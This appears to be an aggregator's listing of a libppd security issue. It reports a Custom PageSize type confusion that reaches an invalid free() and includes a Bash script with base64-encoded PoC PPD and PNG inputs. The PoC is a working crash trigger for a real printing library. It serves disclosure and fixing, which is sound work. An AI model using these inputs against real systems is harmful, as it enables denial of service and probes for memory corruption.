libppd: Custom PageSize type confusion reaches an invalid free
Nadie ha tomado este issue todavía.
Evaluación
- Dificultad
- 4/5
- Tiempo estimado
- 3-5 días
- Aptitud para principiantes
- 55/100
Línea de trabajo
Comienza con ppd.c y ppd-page.c:128; después, sigue la limpieza de ppdClose2() para el tipo declarado Custom PageSize. Usa poc/printer.ppd y reproduce.sh, comparando los controles de string y points. Se considera completado cuando las dimensiones string se rechazan o se manejan de forma segura, la limpieza no libera un valor union sobrescrito y la reproducción deja de abortar.
Escrito por el modelo de indexación a partir del texto del issue.
Descripción
Summary
The PPD loader accepts Width or Height parameters of Custom PageSize with
a string type. Page-size handling later writes a numeric point value through
the same union, while cleanup still treats the field as an owned string
pointer and calls free() on it.
Validated libppd source:
- tested build:
522af8dd135f4dde66b1aac8b9d067808bbe122d - current upstream HEAD:
fc41539f761286396a7df8aeeda762070192e37e
The relevant parser, page, and cleanup sources are byte-identical at current
upstream HEAD.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.
poc/printer.ppd, SHA-256
039f50e1ef24c8ca9bf6b859bd277b035fa0b6337b51ff96fbcc154b922c2937,
is a five-line, 221-byte PPD. It declares Custom PageSize Height as string
and selects Custom.100x200 by default. Run ./reproduce.sh; changing only
string to points is the non-crashing control.
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: libppd: Custom PageSize type confusion reaches an invalid free
# Finding ID: libppd-custom-pagesize-type-confusion-invalid-free
# Trigger: The PPD loader accepts Width or Height parameters of Custom
# PageSize with a string type. Page-size handling later writes a numeric point
# value through the same union, while cleanup still treats the field as an
# owned string pointer and calls free() on it.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_0
# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (221 bytes)
write_file printer.ppd 039f50e1ef24c8ca9bf6b859bd277b035fa0b6337b51ff96fbcc154b922c2937 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA11OTwuCMBS/+ykeOwrpnGEkImQeCjoIdYsOK19roE7mFtKnbyJ26PD4wfv99auq
XO1qdccUyDqIieeX+OS2MRUXeJYf99/bwag2iCgdGaWevzBwQmNQhzM4f5aFC3dNIgabLbuFx5YL
2YmiUCN0tmnyfEDTO1mNb/lAMuVp3s4lv+gDSvEyKTAYjHZ2iBNwA1z7n/Ci7TS9Vz38HfG+M/Hj
et0AAAA=
POC_PAYLOAD_1
Result
The real imagetops pipeline writes 1,405 PostScript bytes and then aborts
during ppdClose2() at ppd.c:233. ASan reports allocator access at
0x4347fff0 for free(0x43480000), the float representation of 200.0;
the uninstrumented process exits 139.
On 64-bit builds the numeric page dimension is written as a 32-bit float into
a zero-initialized pointer union, so the demonstrated pointer remains in the
low 4 GiB and normally faults rather than freeing a live heap object. On a
32-bit build the same type confusion gives materially more pointer control.
No arbitrary free of a mapped object or subsequent controlled write is proven.
Control runs with dimensions 200 and 300, selected either by the PPD
default or a job option, move the free() argument from 0x43480000 to
0x43960000. This confirms numeric pointer control, while also confirming the
64-bit low-address limitation.
Cause and expected behavior
ppd.c accepts string for ParamCustomPageSize Height.
ppd-page.c:128 later stores a float in current.custom_points.
ppdClose2() selects cleanup by the declared type and frees
current.custom_string.
Custom PageSize Width and Height must be restricted to the required points
type. Cleanup should only free fields that currently own an allocated string,
not a union member overwritten through another type.
- Lenguaje dominante
- C
- Estrellas
- 5
- Forks
- 30
- Métricas de merge de PR
- Sin PR fusionados en 30 d
Preparar el entorno
- Sin Dockerfile ni archivo de Docker Compose
- Sin plantilla de pull request
- Leer la guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de OpenPrinting/libppd
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100
OpenPrinting/libppd#86 ·
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 78/100
OpenPrinting/libppd#82 ·
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 82/100
OpenPrinting/libppd#81 ·
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 78/100
OpenPrinting/libppd#79 · 1 comentario ·
-
Dificultad 4/5 3-5 días Aptitud para principiantes 48/100
OpenPrinting/libppd#90 · 1 comentario ·
Todos los issues de OpenPrinting/libppd
Issues similares
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100
libsdl-org/SDL#16444 ·
Los mantenedores suelen responder en 1 día
-
bug Component component: net
Dificultad 1/5 Menos de una hora Aptitud para principiantes 90/100
RT-Thread/rt-thread#11852 · 1 comentario ·
Los mantenedores suelen responder en 1 día
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 68/100
MiSTer-devel/ao486_MiSTer#243 ·
-
Dropped last row with parallel scan of attached SQLite tables if the rowid range is a multiple of 122,880Posiblemente ocupada @staticlibs la tomó hoy. Abierto
Dificultad 2/5 1-3 horas Aptitud para principiantes 82/100
duckdb/duckdb-sqlite#240 · 1 comentario ·
Los mantenedores suelen responder en 1 día
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 66/100
siderolabs/pkgs#1710 ·
Los mantenedores suelen responder en 1 día